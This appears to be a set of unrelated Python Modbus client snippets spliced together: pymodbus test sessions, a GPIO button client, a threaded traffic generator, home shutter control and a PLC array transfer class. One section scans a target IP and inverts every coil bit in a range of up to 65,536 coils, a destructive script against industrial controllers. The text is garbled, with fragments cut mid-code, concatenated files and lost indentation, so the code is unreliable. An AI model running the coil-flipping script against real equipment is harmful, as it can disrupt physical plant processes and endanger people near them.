# individual request. This can be done by specifying the `unit` parameter
# which defaults to `0x00`
# ----------------------------------------------------------------------- #
log.debug("Reading Coils")
rr = client.read_coils(1, 1, unit=0x01)
print(rr)
# ----------------------------------------------------------------------- #
# example requests
# ----------------------------------------------------------------------- #
# simply call the methods that you would like to use. An example session
# is displayed below along with some assert checks. Note that some modbus
# implementations differentiate holding/input discrete/coils and as such
# you will not be able to write to these, therefore the starting values
# are not known to these tests. Furthermore, some use the same memory
# blocks for the two sets, so a change to one is a change to the other.
# Keep both of these cases in mind when testing as the following will
# _only_ pass with the supplied async modbus server (script supplied).
# ----------------------------------------------------------------------- #
log.debug("Write to a Coil and read back")
rq = client.write_coil(0, True, unit=UNIT)
rr = client.read_coils(0, 1, unit=UNIT)
assert(rq.function_code < 0x80) # test that we are not an error
assert(rr.bits[0] == True) # test the expected value
log.debug("Write to multiple coils and read back- test 1")
rq = client.write_coils(1, [True]*8, unit=UNIT)
assert(rq.function_code < 0x80) # test that we are not an error
rr = client.read_coils(1, 21, unit=UNIT)
assert(rr.function_code < 0x80) # test that we are not an error
resp = [True]*21
# If the returned output quantity is not a multiple of eight,
# the remaining bits in the final data byte will be padded with zeros
# (toward the high order end of the byte).
resp.extend([False]*3)
assert(rr.bits == resp) # test the expected value
log.debug("Write to multiple coils and read back - test 2")
rq = client.write_coils(1, [False]*8, unit=UNIT)
rr = client.read_coils(1, 8, unit=UNIT)
assert(rq.function_code < 0x80) # test that we are not an error
assert(rr.bits == [False]*8) # test the expected value
log.debug("Read discrete inputs")
rr = client.read_discrete_inputs(0, 8, unit=UNIT)
assert(rq.function_code < 0x80) # test that we are not an error
log.debug("Write to a holding register and read back")
rq = client.write_register(1, 10, unit=UNIT)
rr = client.read_holding_registers(1, 1, unit=UNIT)
assert(rq.function_code < 0x80) # test that we are not an error
assert(rr.registers[0] == 10) # test the expected value
log.debug("Write to multiple holding registers and read back")
rq = client.write_registers(1, [10]*8, unit=UNIT)
rr = client.read_holding_registers(1, 8, unit=UNIT)
assert(rq.function_code < 0x80) # test that we are not an error
assert(rr.registers == [10]*8) # test the expected value
log.debug("Read input registers")
rr = client.read_input_registers(1, 8, unit=UNIT)
assert(rq.function_code < 0x80) # test that we are not an error
arguments = {
'read_address': 1,
'read_count': 8,
'write_address': 1,
'write_registers': [20]*8,
}
log.debug("Read write registeres simulataneously")
rq = client.readwrite_registers(unit=UNIT, **arguments)
rr = client.read_holding_registers(1, 8, unit=UNIT)
assert(rq.function_code < 0x80) # test that we are not an error
assert(rq.registers == [20]*8) # test the expected value
assert(rr.registers == [20]*8) # test the expected value
# ----------------------------------------------------------------------- #
# close the client
# ----------------------------------------------------------------------- #
client.close()
pin_status = 1
update_interval = 0.05
if __name__ == "__main__":
print "=== Modbus client (Single button) ==="
parser = argparse.ArgumentParser(description='Modbus client')
parser.add_argument('ip', default='localhost', help='IP adress of modbus server')
args = parser.parse_args()
client = ModbusTcpClient(args.ip)
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(led, GPIO.IN)
try:
while True:
pin_status = GPIO.input(led)
print status
client.write_coil(20, pin_status)
time.sleep(update_interval)
except KeyboardInterrupt:
print "Stopping program"
except Exception:
traceback.print_exc(file=sys.stdout)
GPIO.cleanup()
client.close()
print "Done"
sys.exit(0)
class clientthreads(threading.Thread):
def __init__(self, vnic, ipaddr, port):
threading.Thread.__init__(self)
self.ipaddr = ipaddr # ip address
self.port = port # port address
self.vnic = vnic # virtual nic
self.mode = "" # server or client
self.state = "" # up or down
self.dest = "" # destination address for client
self.clientstop = threading.Event()
self.server = ""
self.client = ""
self.framer = ""
self.vnicm = ""
self.runtime= 0
self.delayr = random.uniform(0,5)
self.delayw = random.uniform(0,60)
self.firstdelay = 0
self.pstart= ""
def run(self):
self.client = ModbusTcpClient(self.dest, self.port, source_address=(self.ipaddr, 0), retries=1, retry_on_empty=True)
if(self.mode=="read"):
self.clientintr()
elif(self.mode=="write"):
self.clientintw()
else:
print "wrong mode specified"
def clientintr(self): # instantiate server stuff
while(not self.clientstop.is_set()):
if(time.time() - self.pstart > self.runtime):
print "stopping"
break
if(self.firstdelay < 1):
print "Start RDelay is: " + str(self.delayr)
time.sleep(self.delayr)
self.firstdelay = 1
print "Starting Reads"
self.clientreads()
print "\n\r-----read-----\n\r"
print self.dest
print time.time() - self.pstart
print "------------------\n\r"
def clientintw(self): # instantiate server stuff
while(not self.clientstop.is_set()):
if(time.time() - self.pstart > self.runtime):
print "stopping"
break
if(self.firstdelay < 1):
print "Start WDelay is: " + str(self.delayw)
time.sleep(self.delayw)
self.firstdelay = 1
print "Starting Writes"
self.clientwrites()
print "\n\r-----write----\n\r"
print self.dest
print time.time() - self.pstart
print "------------------\n\r"
def clientreads(self):
self.client.read_coils(1, 10)
self.client.read_discrete_inputs(1, 10)
self.client.read_holding_registers(1, 10)
self.client.read_input_registers(1, 10)
time.sleep(5)
def clientwrites(self):
self.client.write_coil(1, True)
self.client.write_register(1, 3)
self.client.write_coils(1, [True]*10)
self.client.write_registers(1, [3]*10)
time.sleep(60)
def alloc(self): # Allocate ip address
if (validateIP(self.ipaddr, self.vnicm)):
cmdargs = [self.vnic, self.ipaddr]
subprocess.call(["ifconfig"] + cmdargs)
else:
return 0
def dealloc(self): # De-allocate ip address
cmdargs = [self.vnic]
subprocess.call(["ifconfig"] + cmdargs + ["down"])
def stop(self):
self.clientstop.set()
return
(options,args) = parser.parse_args()
client = ModbusTcpClient(options.ipaddress)
#for x in range(4090,4095):
#check for stupidity
if len(options.ipaddress.strip())==0:
print('invalid target ip')
sys.exit(1)
if options.start<0 or (options.start>options.end):
print('invalid start (0-4095)')
sys.exit(1)
if options.end>4095 or (options.end<options.start):
print('invalid end (0-4095)')
sys.exit(1)
#client reads at least 8 bits at a time, no matter what you ask for..so get 16
#and flip bits rows at a time bits 0-65535, rows 0-4095, 16bits each time.
for x in range(options.start,options.end):
row=min(x*16,65520)
result = client.read_coils(row,16)
print("flipping bits from %d,%d"%(row,min(row+16,65535)))
print("was %r"%result.bits)
for y in range(len(result.bits)-1):
if result.bits[y]:
client.write_coil((row)+y, False)
else:
client.write_coil((row)+y,True)
client.close()
class InModbus(ApplicationSession):
"""
Provides an RPC to control the shutters
"""
def __init__(self, config=None):
ApplicationSession.__init__(self, config)
self.pfcIp = '192.168.1.53'
self.modbusTcpPort = 502
self.client = ModbusClient(self.pfcIp, self.modbusTcpPort)
def shutterMapping(self, name):
if name == "FlurLinksUnten":
return 32768
elif name == "FlurLinksOben":
return 32769
elif name == "FlurRechtsUnten":
return 32770
elif name == "FlurRechtsOben":
return 32771
# elif name == "ZimmerLinksUnten":
# return 32772
# elif name == "ZimmerLinksOben":
# return 32773
elif name == "ZimmerRechtsUnten":
return 32774
elif name == "ZimmerRechtsOben":
return 32775
elif name == "KuecheUnten":
return 32776
elif name == "KuecheOben":
return 32777
else:
return "unknown"
@inlineCallbacks
def shutterControl(self, name):
name = str(name)
print(name)
try:
if (self.client.connect() is False):
print('not connected')
self.client = self.client.connect()
print('trying to connecto to ' + str(self.pfcIp))
modbusCoil = self.shutterMapping(name)
if (modbusCoil != "unknown"):
self.client.write_coil(modbusCoil, 1)
yield sleep(0.1)
self.client.write_coil(modbusCoil, 0)
else:
return "unknown shutter"
except ConnectionException as connErr:
return "connection error"
except Exception as err:
print("error: {}".format(err), file=sys.stdout)
traceback.print_exc(file=sys.stdout)
return "connection error"
def onJoin(self, details):
print("session ready")
self.register(self.shutterControl, u'eshl.wago.v1.misc.shuttercontrol')
class ModbusClass():
connected=False
def __init__(self, *kwargs):
self.connect()
def connect(self):
'''Try to connect to the Modbus client
(mostely internal)
'''
if not self.connected:
self.client = ModbusClient('192.168.50.238', port=502)
self.client.connect()
self.connected=True
def reset_safety(self, callback):
'''Call this class to reset safety
:param callback: callback which should be called at the end
'''
if not self.connected:
self.connect()
#write to bit 8480
rq = self.client.write_coil(8480, True)
time.sleep(0.5)
rq = self.client.write_coil(8480, False)
callback()
def transfer_bahn_nr(self, nr):
rq = self.client.write_register(532, nr)
rq = self.client.write_coil(8483, True)
time.sleep(0.5)
rq = self.client.write_coil(8483, False)
print "transfered"
def transfer_array(self, array, callback):
'''Call this function to move the array to the PLC
:param array: array which should be transmitted
:param callback: callback which should be called when finished
'''
#check array size
c=0
for cube in array:
c+=1
if c!= 106:
print "Array size isn't suitable", c
return
lis = array
#write cubes into PLC
c=0
for cube in lis:
print '-', (c/5)+1, cube
#write x
rq = self.client.write_register(c, cube['x'])
c+=1
#write y
rq = self.client.write_register(c, cube['y'])
c+=1
#write z
rq = self.client.write_register(c, cube['z'])
c+=1
#write rot
rq = self.client.write_register(c, cube['typ'])
c+=1
#write type
rq = self.client.write_register(c, cube['rot'])
c+=1
callback()
def machine_is_building(self, *kwargs):
'''Call this class to get the bool if the machine is working or not
'''
rq = self.client.read_coils(8481,1)
return rq.bits[0]
def read_active_bahn(self, *kwargs):
rq = self.client.read_holding_registers(533, 1)
return rq.registers[0]
rr = client.read_coils(1, 1, unit=0x01)
#---------------------------------------------------------------------------#
# example requests
#---------------------------------------------------------------------------#
# simply call the methods that you would like to use. An example session
# is displayed below along with some assert checks. Note that some modbus
# implementations differentiate holding/input discrete/coils and as such
# you will not be able to write to these, therefore the starting values
# are not known to these tests. Furthermore, some use the same memory
# blocks for the two sets, so a change to one is a change to the other.
# Keep both of these cases in mind when testing as the following will
# _only_ pass with the supplied async modbus server (script supplied).
#---------------------------------------------------------------------------#
log.debug("Write to a Coil and read back")
rq = client.write_coil(0, True, unit=1)
rr = client.read_coils(0, 1, unit=1)
assert(rq.function_code < 0x80) # test that we are not an error
assert(rr.bits[0] == True) # test the expected value
log.debug("Write to multiple coils and read back- test 1")
rq = client.write_coils(1, [True]*8, unit=1)
assert(rq.function_code < 0x80) # test that we are not an error
rr = client.read_coils(1, 21, unit=1)
assert(rr.function_code < 0x80) # test that we are not an error
resp = [True]*21
# If the returned output quantity is not a multiple of eight,
# the remaining bits in the final data byte will be padded with zeros
# (toward the high order end of the byte).
# NOTE: write_register
if args.type == 'HR':
if args.count == 1:
hr_write = client.write_register(args.offset, args.register[0])
assert(hr_write.function_code < 0x80)
else:
hrs_write = client.write_registers(args.offset, args.register)
assert(hrs_write.function_code < 0x80)
# NOTE: write_coil: map integers to bools
elif args.type == 'CO':
if args.count == 1:
# NOTE: coil is a list with one bool
if args.coil[0] == 1:
co_write = client.write_coil(args.offset, True)
else:
co_write = client.write_coil(args.offset, False)
assert(co_write.function_code < 0x80)
else:
coils = []
for c in args.coil:
if c == 1:
coils.append(True)
else:
coils.append(False)
cos_write = client.write_coils(args.offset, coils)
assert(cos_write.function_code < 0x80)
